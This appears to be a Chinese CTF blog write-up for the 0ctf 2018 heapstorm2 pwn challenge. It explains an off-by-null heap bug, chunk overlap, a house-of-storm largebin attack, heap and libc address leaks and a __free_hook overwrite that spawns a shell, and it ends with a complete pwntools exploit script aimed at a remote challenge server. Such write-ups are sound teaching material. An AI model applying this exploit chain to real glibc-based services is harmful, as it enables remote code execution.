【pwn challenge】0ctf_2018_heapstorm2

程序

很早以前就想把这题做了,但是感觉特别麻烦就一直拖着了,今日参考了一位师傅然后解决。
在这里插入图片描述
程序先是禁用了 fastbin,让你和 mmap 了一段内存,并往该内存中读取了一串随机数,然后进行一个简单的赋值,接着通过一个 for 循环将接下来用到的存放 ptr 和 size 的地方进行了异或操作:
在这里插入图片描述
在这里插入图片描述
最终是如下效果:
在这里插入图片描述
然后是添加堆块功能:
在这里插入图片描述
利用 calloc 分配,会清空原堆块的内容,这就需要 overlap 的时候对其中的 chunk header 等进行恢复。
update 功能中存在 off by null 漏洞:
在这里插入图片描述
view 功能当满足 if 条件时才能进行输出:
在这里插入图片描述
delete 功能正常。

利用限制和条件
  • libc 2.23
  • 不能使用 fastbin,size 无限制
  • calloc 分配
  • 程序中存在 off by null 漏洞
  • 可以直接编辑
利用思路
  • 首先是通过 chunk shrink 构造 overlap
		alloc(0x18)     #0
		alloc(0x508)    #1
		alloc(0x18)     #2
		update(1, 'h'*0x4f0 + p64(0x500))   #set fake prev_size
		 
		alloc(0x18)     #3
		alloc(0x508)    #4
		alloc(0x18)     #5
		update(4, 'h'*0x4f0 + p64(0x500))   #set fake prev_size
		alloc(0x18)     #6

		free(1) # leave right pre_size in #2
		update(0, 'a'*(0x18 - 12)) # triger off by null -> shrink #1

		alloc(0x18) #1
		alloc(0x4d8) #7 split unsorted bin

		free(1)
		free(2) # consolidate chunk, overlap #7(inuse)  (in unsorted bin)

		alloc(0x38) #1 overlap chunk #7 head
		alloc(0x4e8) #2 #7(inuse) overlap the #2(inuse) head

在这里插入图片描述
然后同样的方法将下面的几个 chunk 构造 overlap。
要注意的是,最后 alloc 的时候要区别于 #1 的大小,这样切割后剩下的 chunk 会和 #2 不同大小为接下来的攻击进行准备:

		alloc(0x48) #4 overlap chunk #8 .unsorted bin rest chunk size: 0x4e0
					# and #8 overlap the rest chunk in unsorted bin
  • 先将 #2 放入 unsorted bin,此时链表中存在两个 chunk,alloc chunk 时进行遍历,将 size 不合适的 chunk 放入对应的 bin 中,所以原剩余的 chunk 进入 largebin,然后再将刚 alloc 的 chunk free,重新进入 unsorted bin:
		free(2) # get into unsorted bin
		alloc(0x4e8) # the rest chunk(size=0x4e0) get into largebin
		free(2) # get into unsorted bin
  • 因为是 calloc 分配所以需要恢复清除的 #2.header,接下来的操作参考我之前的一篇笔记(house of storm 部分)
		storage = 0x13370000 + 0x800  # heap_manaege 处
		fake_chunk = storage - 0x20
		 
		p1 = p64(0)*2 + p64(0) + p64(0x4f1) # #2.size
		p1 += p64(0) + p64(fake_chunk)      # #2.bk
		update(7, p1)

		p2 = p64(0)*4 + p64(0) + p64(0x4e1) #size
		p2 += p64(0) + p64(fake_chunk+8)    #bk, for creating the "bk" of the faked chunk 
										# to avoid crashing when unlinking from unsorted bin
		p2 += p64(0) + p64(fake_chunk-0x18-5)   #bk_nextsize, for creating the "size" of the 
										# faked chunk, using misalignment tricks
		update(8, p2)
  • 当堆地址为 0x56 开头时,即可 alloc 成功:
		try:
			# if the heap address starts with "0x56", you win
			alloc(0x48)     #2
			sleep(0.5)
		except EOFError:
			# otherwise crash and try again
			p.close()
			continue
  • 因为 view 功能需要满足条件,然后可以直接输出 heap_manege 中对应 chunk 指针的内存,而此时我们已经申请到了此处,所以可以通过 update 该 chunk 达到修改对应 chunk 的指针的目的,由于 libc 指针存放在某一堆块中,所以需要先泄漏堆地址,然后通过堆地址来索引存放 libc 地址的内存,完成泄漏:
st = p64(0)*2 + p64(0) + p64(0) + p64(0) + p64(0x13377331) + p64(storage) # meet the condition
st = p64(0) + p64(0) + p64(0) + p64(0x13377331) + p64(storage) + p64(0x1000) + 
p64(storage-0x20+3) + p64(8)  # set ptr -> heap_addr(fake chunk previously forged)
st = p64(0) + p64(0) + p64(0) + p64(0x13377331) + p64(storage) + p64(0x1000) + 
p64(heap+0x10) + p64(8)  # the chunk_addr which has libc_addr

满足 view 条件:
在这里插入图片描述
get heap_addr:
在这里插入图片描述
在这里插入图片描述
get libc_addr:
在这里插入图片描述
在这里插入图片描述

  • 最后控制指针指向 __free_hook,修改为 system,free("/bin/sh\x00") 的 chunk get shell。
st = p64(0) + p64(0) + p64(0) + p64(0x13377331) + p64(storage) + p64(0x1000) + 
p64(free_hook) + p64(0x100) + p64(storage+0x50) + p64(0x100) + '/bin/sh\x00'

修改 free_hook 并 getshell
在这里插入图片描述

完整exp
from pwn import *
import sys

context.log_level = "debug"
elf = ELF("./0ctf_2018_heapstorm2")

if sys.argv[1] == "p":
	p = process("./0ctf_2018_heapstorm2")
	# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
	libc = elf.libc
else:
	p = remote("node3.buuoj.cn",29770)
	libc = ELF("/home/mtb0tx/share/ctf-pwn/libc/libc-2.23-64.so")

DEBUG = 0
if DEBUG:
	gdb.attach(p, 
	'''	
	b *0x08048935
	c
	''')

def dbg():
    gdb.attach(p)
    pause()

se      = lambda data               :p.send(data) 
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
rc      = lambda num          		:p.recv(num)
rl      = lambda                    :p.recvline()
ru      = lambda delims             :p.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\x00'))	
uu64    = lambda data               :u64(data.ljust(8, '\x00'))
info    = lambda tag, addr          :log.info(tag + " -> " + hex(addr))
ia		= lambda                    :p.interactive()

menu = "Command: "
def cmd(idx):
	ru(menu)
	sl(str(idx))

def alloc(size):
	cmd(1)
	ru("Size: ")
	sl(str(size))

def update(idx, content):
	cmd(2)
	ru("Index: ")
	sl(str(idx))
	ru("Size: ")
	sl(str(len(content)))
	ru("Content: ")
	se(content)

def free(idx):
	cmd(3)
	ru("Index: ")
	sl(str(idx))

def view(idx):
	cmd(4)
	ru("Index: ")
	sl(str(idx))
	m = ru("Command: ")
	pos1 = m.find(']: ') + len(']: ')
	pos2 = m.find('\n1. ')
	return m[pos1:pos2]

def pwn():
	while True:
		p = remote("node3.buuoj.cn",29770)
		libc = ELF("/home/mtb0tx/share/ctf-pwn/libc/libc-2.23-64.so")
		alloc(0x18)     #0
		alloc(0x508)    #1
		alloc(0x18)     #2
		update(1, 'h'*0x4f0 + p64(0x500))   #set fake prev_size
		 
		alloc(0x18)     #3
		alloc(0x508)    #4
		alloc(0x18)     #5
		update(4, 'h'*0x4f0 + p64(0x500))   #set fake prev_size
		alloc(0x18)     #6

		free(1) # leave right pre_size in #2
		update(0, 'a'*(0x18 - 12)) # triger off by null -> shrink #1

		alloc(0x18) #1
		alloc(0x4d8) #7

		free(1)
		free(2) # overlap #7  (in unsorted bin)

		alloc(0x38) #1 overlap chunk #7 head
		alloc(0x4e8) #2 #7 overlap the #2 head

		# same way
		free(4)
		update(3, 'b'*(0x18 - 12))

		alloc(0x18) #4
		alloc(0x4d8) #8

		free(4)
		free(5)

		alloc(0x48) #4 overlap chunk #8 .unsorted bin rest chunk size: 0x4e0
					# and #8 overlap the rest chunk in unsorted bin

		free(2) # get into unsorted bin
		alloc(0x4e8) # the rest chunk(size=0x4e0) get into largebin
		free(2) # get into unsorted bin

		storage = 0x13370000 + 0x800
		fake_chunk = storage - 0x20
		 
		p1 = p64(0)*2 + p64(0) + p64(0x4f1) # #2.size
		p1 += p64(0) + p64(fake_chunk)      # #2.bk
		update(7, p1)

		p2 = p64(0)*4 + p64(0) + p64(0x4e1) #size
		p2 += p64(0) + p64(fake_chunk+8)    #bk, for creating the "bk" of the faked chunk to avoid crashing when unlinking from unsorted bin
		p2 += p64(0) + p64(fake_chunk-0x18-5)   #bk_nextsize, for creating the "size" of the faked chunk, using misalignment tricks
		update(8, p2)

		try:
			# if the heap address starts with "0x56", you win
			alloc(0x48)     #2
			sleep(0.5)
		except EOFError:
			# otherwise crash and try again
			p.close()
			continue

		st = p64(0)*2 + p64(0) + p64(0) + p64(0) + p64(0x13377331) + p64(storage) # set list[idx = 0].ptr = storage
		# update(2, st)
		# ru("Command: ")
		sl(str(2))
		ru("Index: ")
		sl(str(2))
		ru("Size: ")
		sl(str(len(st)))
		ru("Content: ")
		se(st)
		
		# set list[idx = 1].ptr = storage-0x20+3(unsorted bin heap_addr) list[idx = 1].size = 0x8
		st = p64(0) + p64(0) + p64(0) + p64(0x13377331) + p64(storage) + p64(0x1000) + p64(storage-0x20+3) + p64(8)
		update(0, st)  # 

		leak = view(1)
		heap = u64(leak)
		print ('heap: %x' % heap)
		sleep(0.5)

		# set list[idx = 1].ptr = heap + 0x10(main_arena + 0x58) list[idx = 1].size = 0x8
		st = p64(0) + p64(0) + p64(0) + p64(0x13377331) + p64(storage) + p64(0x1000) + p64(heap+0x10) + p64(8)
		# update(0, st)
		sl(str(2))
		ru("Index: ")
		sl(str(0))
		ru("Size: ")
		sl(str(len(st)))
		ru("Content: ")
		se(st)
 
		leak = view(1)
		sleep(0.5)
		unsorted_bin = u64(leak)
		main_arena = unsorted_bin - 0x58
		libc_base = main_arena - 0x10 - libc.symbols['__malloc_hook']
		print ('libc_base: %x' % libc_base)
		# libc_system = libc_base + 0x3f480
		# free_hook = libc_base + 0x39b788
		system = libc_base + libc.symbols['system']
		free_hook = libc_base + libc.symbols['__free_hook']

		st = p64(0) + p64(0) + p64(0) + p64(0x13377331) + p64(storage) + p64(0x1000) + p64(free_hook) + p64(0x100) + p64(storage+0x50) + p64(0x100) + '/bin/sh\x00'
		# update(0, st)
		sl(str(2))
		ru("Index: ")
		sl(str(0))
		ru("Size: ")
		sl(str(len(st)))
		ru("Content: ")
		se(st)
		# dbg()
		update(1, p64(system))
		sleep(0.5)
		sl('3')
		ru('Index: ')
		sl('%d' % 2)

		break

if __name__ == "__main__":
	pwn()
	ia()
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值